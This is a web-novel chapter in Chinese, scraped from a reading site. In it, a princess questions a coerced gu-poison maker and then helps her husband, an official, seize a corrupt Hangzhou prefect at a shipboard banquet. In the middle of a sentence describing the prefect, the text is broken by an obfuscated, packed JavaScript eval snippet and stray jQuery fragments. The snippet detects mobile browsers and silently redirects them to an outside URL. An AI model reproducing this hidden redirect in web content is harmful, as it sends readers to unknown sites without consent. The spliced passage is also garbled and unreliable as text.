默认冷灰
24号文字
方正启体

21. 第 21 章

作者:轶卿本书字数:K更新时间:
    “画骨姐姐,回见。”


    画骨仿佛看到昨日向她道别的人正与眼前的人重合,她恍惚了一会,突然清醒过来,快步走向南夙,将她拉进屋子里,又看了看外面是否有人经过,没看见人,才放心地关上了门。


    转过身,她突然朝南夙单膝下跪,“见过公主殿下。”


    南夙吃了一惊,忙将她拉起来,说自己受不起。


    画骨却摇头,说子民见到公主理应下跪,公主怎会承受不起。


    南夙不知道怎么解释,她干脆地转了话题,“画骨姐姐是昨日在暗香幡便认出我来了吗?”


    也不知道为什么她一个活在乡下的公主却人人都认识。虽然她确实是灵诏公主没错,但她只是在接到和亲的命令时在众人面前出现过啊。


    画骨点头,跪在她面前突然单膝便双膝,还十分郑重地在她面前弯下了腰。


    这是给她磕头啊。


    “属下身为灵诏子民,辜负了灵诏的祖训,请公主责罚。”


    南夙虽是灵诏公主,但长这么大还没受过此种大礼。


    画骨见到她的态度其实与她想的很不一样。她昨日刚见她时怀疑过她是灵诏人,也怀疑过她就是制蛊下蛊之人。根据她的推测,制作这蜃尘蛊的人应当有两个,两批蛊的时间挨的如此近。练蛊的技术是一件日积月累的事,并非三五天便能领悟的,若真有人能够在这么短的时间内领悟练蛊的门窍,那这人一定是个邪修。所以两次使用的蜃尘蛊一定不是同一个人所制。


    但这个怀疑在后来听红雾说了那神医之后被打消了不少,原因有下,灵诏子民都有自己的命蛊,而南夙刚好具有感知蛊虫的能力,大多数蛊虫南夙靠近都会感知到,能让她身体有反应的说明是比较厉害的蛊虫,而那日,南夙没有在画骨身上发现任何蛊虫。


    她感知不到的只有两种情况,一是这枚蛊虫已经随主人死了,是枚死蛊;二就是如蜃尘蛊一般平时宛如死蛊的这种蛊虫。第一种情况画骨明显不符合,因为她还活着;至于第二种情况,南夙觉得不太可能,蜃尘蛊阴损,乃是恶蛊,没人会用这样的蛊虫作为自己的命蛊,毕竟城里死的人下场就是最好的说明。


    南夙没有发现画骨的命蛊,自然而然将对她的怀疑打消不少。


    眼下画骨亲口承认自己是灵诏人,南夙便问道:“画骨姐姐,你的命蛊去哪了?”


    画骨没有想到她第一句话居然不是责问自己,惊诧了一秒,随即反应过来南夙问的是什么,脸上表情酸涩起来,她似是犹豫良久,不知在思量什么。


    南夙没有催她,过了片刻她才缓缓开口,但这话就仿佛烫嘴般,她迟迟说不出来。


    “殿下……属下……”


    “是谁将你的命蛊取走了?”南夙适时打断她,“是那个神医?”


    画骨讶然,显然没料到南夙连这个也能想到,但她说不出话,只好点头。


    南夙了然,见她面露惊讶,解释道:“我也知道这个猜测过于大胆,毕竟命蛊一离开人体便意味着蛊死人亡。可若是有这么一种方式能将取出的命蛊继续养着,而主人也不会死呢。”


    南夙抬眼对上画骨眼中的酸涩,补全没说完的话,“那是不是意味着这人的命就被握在别人手里了。”


    画骨眸中闪过的痛苦也在南夙眼中清晰地划过,她知道,画骨这是默认了。


    “最开始的那一批蜃尘蛊是你制的吗?”南夙继续问道。


    “不是。”画蛊缓缓摇头,“最开始那批蛊是那人制的,失败后,他才找到我,我当时不愿意,他不知用了什么法子将我的命蛊生剥出来。”


    说到这里,一滴热泪划过她的脸颊,“我当时还是不愿意,他就派人抓了我的家人,我丈夫身体不好,经不起折磨,我儿子还小,他才4岁。我能死,却不能看着他们死,所以我……”


    “那你……”


    南夙不知道现在是不是应该指责她,“你怎么能这么自私?贪图自己的性命,却害死了那么多人。”


    难道那些人的命便不是命了吗?那些人亲人孩子的命就不是命了吗?


    可南夙说不出那种话,若说命,画骨的命也是命,难道因为死的人多,就能否认她救丈夫和孩子吗?


    只是这代价太大了。


    但眼下显然不是为此伤神的时候,南夙整理了一下情绪,问道:“你可知丈夫和孩子现下在何处。”


    “他们,死了。”画骨的语气骤然颤抖起来,脸色也变得扭曲,那双握着帕子的手此刻正将那帕子死死搅紧,仿佛她与那帕子有什么深仇大恨似的。


    深仇大恨是有的,却不是对帕子。


    画骨交代,她当时受人威胁不得不帮他制蛊,本想制完蛊后便带着丈夫孩子离开,可有一日,她去收集制蛊所用的材料时,意外捡到样东西,那是她与丈夫定亲时亲手袖制的荷包,丈夫最是喜爱,常年带在身上。但那日,荷包上沾满了血。


    那日捡到东西后,画骨浑身发抖,为了证实丈夫是不是真的死了,她发疯一样的在林子里走了很久,最终在一山洞边发现了一摊血,她走进山洞,在里面发现了一些□□碎片,还有一身男人的衣物。


    画骨确定那衣物是她丈夫所穿,便认定是那人背信弃义,杀害了她的丈夫。她又发了疯地去找孩子,但全无所踪,她没了希望,便下定决心一定要杀了那人。


    可是她不会武功,命还被握在别人手中,她不知该怎么办。直到昨日遇到南夙。


    她年轻时曾远远地见过公主一眼,那时公主还小。但公主长大后却没怎么变样貌,因此她只思考了几秒,便认出南夙来。


    公主在年前嫁给了镇北侯府世子,现任大理寺少卿的沈序,他们来这,画骨自然能猜到是来做什么。她虽然只是制蛊,但丈夫死后的这些天,她一直在暗中调查,发现他居然与杭州刺史联合起来,杀人贪饷。


    “公主需要属下做什么尽管吩咐,属下万所不辞。”


    南夙听到这里,心中也有了主意。她问道:“你知道他们将饷银放在哪了吗?”


    “据属下观察,在下面三层。”


    果然,他们刚才就是被拦在第三层的。


    “那你知道他们的账册可能会放在哪吗?”南夙又问。他们此次的主要目的就是找到账册,只要有了账册,他们现在还有画骨和红雾这两个人证,那刺史百口莫辩。


    画骨思量片刻,脑中细细思考着那神医平日的习惯,“那人十分谨慎,不论什么事都不会在外人面前说,我也只能在制蛊时接近他,我曾经不小心听到过他和刺史的对话,他的目的不是钱,所有的银子都让刺史拿着。所以这账册应当是在刺史手里。”


    这对南夙来说倒是个好消息,只要不在那神医身上,对她来说就是好事。她还不知那人的实力,但就光凭他能生剥命蛊这一点来说,就足够南夙忌惮了。


    “你说,会不会在下面三层?”南夙大胆猜测。那里被护卫严防死守,最有可能藏账册了。


    南夙越想越有道理,当即说道:“我想办法溜进去。”


    画骨却打断了她,“公主,我去吧。”


    “你去?可你不会武功,能行吗?”


    “我毕竟一直在刺史与那人身边,也算在下人面前混了个脸熟,我去的话至少上面两层的人不会怀疑,到时候我找个借口混进去就行了。”


    南夙一想也是,这肯定比她溜进去方便多了,但方才那小厮不是说让画骨去宴会?


    “你不去宴会万一又有人来寻怎么办?”


    “没事,他们的宴会我本就不爱去,来人唤过便不会再管我了。”


    “好吧。”


    画骨临走前,南夙向他打听了刺史和那神医的房间,她偷摸进去搜查了一番,都没找到账册,现在只能寄希望于画骨了。


    对了,还有沈序。


    他与那小厮去中舱了,不知道那边现在什么情况。


    恰好这时又有几人端着托盘走了进来,南夙往阴影里一闪,待到几人往前走了一些,她偷偷跟在末尾那人身后,进了中舱后,前面的人给宴会上的大人们上食,南夙趁没人注意,溜到了一旁站着,开始偷偷观察这个中舱。


    这舱内没有丫鬟,连歌舞助兴的女子都没有,全程上菜的都是男子,且与甲板上的护卫身着同一种服饰,这倒是给了他们混进来的机会。


    宴会上主位上坐着那位约是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144244|196354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不惑之年,身着紫色幻灵窄袖袍衫,两簇八字胡自人中处分开,垂下一点点须来,一双眼睛像黄鼠狼一样,短小而精明。


    此人便是这杭州刺史吴义。


    杀人贪饷,悖逆人伦,他这声无义倒确实取得好。


    南夙只看了他一眼便将视线收回。她低着头,偷偷抬眼,正欲寻找沈序的身影,右手小拇指突然被人勾了一下,南夙一惊,她眼帘低垂,目光却悄悄向右上角一掠。


    然后她就与沈序对视了。她白了沈序一眼,轻轻把沈序的手打掉,说了句“别闹。”


    接着,她垫着脚,小碎步轻挪着往右蹭,却没凑向沈序,食指在沈序的掌心勾了勾。


    “现在什么情况?”她轻轻在沈序掌心中写到。


    “半局开金樽呐。”沈序回道。


    南夙又写,“那我们现在做什么?”


    “等。”


    等韩砚他们的哨音响起,就是他们动手之时。


    南夙又轻轻勾他的手,肩膀已经与沈序挨在一起,随着她手指的动作摩擦着。


    就在这时,一声奇怪的哨音响起,这哨音先长后短,足足吹了两下才停下。但却不是沈序他们说好的哨音。


    难道发生了什么意外?


    宴席间众人自然也听到了这个声响,立刻警觉起来。只见吴义脸色大变,当即在座位上站起身来,怒斥道:“是谁?”


    舱外突然跑进来一小厮,,手中捧着一只鹊鸲,磕磕绊绊地说道:“大人,是只鸟。”


    吴义自然知道这鹊鸲的叫声像哨音,可这鹊鸲又不是成了精,叫声怎么会一长一短的变化。


    他正要追问,却听这时,小厮手中的鹊鸲又开口叫了一声,叫声与方才的哨音连声调都一模一样。


    宴席间众人立刻便安了心,一人笑道:“大人未免过于四面楚歌了,就是只鸟而已,何必忧心至此。”


    吴义脸色不太好地坐了回去,心道:“怪异。”


    他们放下心来,南夙心下一喜,“简直天助我也”,她就着还在沈序掌心的手指一字一句写道,“账册到手。”


    沈序讶然,掌心突然收紧,将南夙的手指包在了掌心中。南夙疑惑他的动作,但心中高兴,也就没有在意。


    她高兴地轻晃了下,头不自觉往前一晃,一抬眼,她便与一人投过来的目光对视上。


    那人是席右侧的一个男子,身着一身靛蓝圆领缺胯袍,一张脸很是俊美,看起来不超过二十五岁。


    几乎是对视上的一眼,南夙便知晓他是谁,那个害了这么多人的神医,那个罪魁祸首。她只看了一眼便收回视线,假装无知,但那人的目光却一直停在她的身上,看得南夙如芒在背。


    她心想,不会是被认出来了吧。


    但那人却没有戳穿她,应该是没认出来,南夙这么想着,却感觉自己的身前多了点东西,她抬头一看,发现沈序不知道什么时候往前走了一步,站在自己身前,虽然没将她完全挡住,但却隔绝了那人投过来的视线。


    原来沈序也感受到了。


    南夙琢磨着那人什么时候会发现她的不对劲并站起来大喊一声“妖怪,我收了你”,但她一直等着,却始终没见那人有什么动静。


    这一等,就等到了第二声哨音。


    先后两声长哨音自远处传来,飘进中舱推杯换盏之间。宴席中的人见怪不怪,一人调笑道:“这大冬天的,江上的鹊鸲倒是多。”


    吴义本就因为先前的哨音风声鹤唳,眼下一听这话,立刻察觉到不对,是啊,大冬天的,江上怎么会有鹊鸲呢。


    他脸色骤变,正欲起身叫人,


    比声音先来的却是沈序的刀出鞘的声。一片银光闪过,那刺史的脖子上已架上一把刀,顷刻间,便能人头落地。


    席间顿时一片混乱,众人四散奔逃。


    靠近舱门的一人先反应过来往外逃,舱门却在此时被一脚踹开,玄铁加身,黑刃在手,沈序的暗卫到了。


    主座上,沈序一手架住无义的项上人头,一手举着大理寺少卿鱼符。


    他年轻却冷冽的声音自上而来,字句沉凝着千钧之力,“大理寺少卿在此,诸位,安然否。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)